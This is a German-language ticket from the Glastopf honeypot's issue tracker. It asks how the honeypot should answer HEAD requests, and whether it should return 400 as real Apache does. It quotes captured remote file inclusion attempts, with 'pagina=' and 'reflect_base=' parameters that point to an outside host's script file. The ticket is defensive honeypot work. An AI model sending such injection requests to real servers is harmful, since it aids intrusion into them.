Feature #153

HEAD requests

Added by Manfred Schilling almost 2 years ago.

Status:New Start date:03/16/2010
Priority:Normal Due date:
Assignee:Lukas Rist % Done:

0%

Category:Glastopf Spent time: -
Target version:- Estimated time:0.50 hour
Resolution:

Description

Ich bekomme hier gerade eine Menge an HEAD Anfragen, die eigentlich GET sein sollten...
Die sehen so aus:

HEAD /home.php?pagina=http://hello3737.solidwebhost.com/Jason.txt????m.jp//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://hello3737.solidwebhost.com/Jason.txt????/logs/error.log HTTP/1.1

honeyd1767: Expiring TCP (207.68.54.38:51514 - 192.168.1.130:80) (0x9194b08) in state 7
------
Die Frage ist was ein realer apache antworten würde.
Der Glastopf sendet das hier:
HEAD /home.php?pagina=http://hello3737.solidwebhost.com/Jason.txt????m.jp//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://hello3737.solidwebhost.com/Jason.txt????/logs/error.log HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 15 Mar 2010 23:49:18 GMT
Server: Apache/2.2.6 (Unix)
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 15 Jul 2008 16:46:59 GMT

sent 205, rcvd 172: NOTSOCK

Ich denke es wäre besser da einen 400 zu schicken.
Oder?
server.doener.lan [192.168.1.10] 80 (http) open
HEAD /home.php?pagina=http://hello3737.solidwebhost.com/Jason.txt????m.jp//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://hello3737.solidwebhost.com/Jason.txt????/logs/error.log HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Tue, 16 Mar 2010 00:22:54 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

sent 205, rcvd 145: NOTSOCK

Also available in: Atom PDF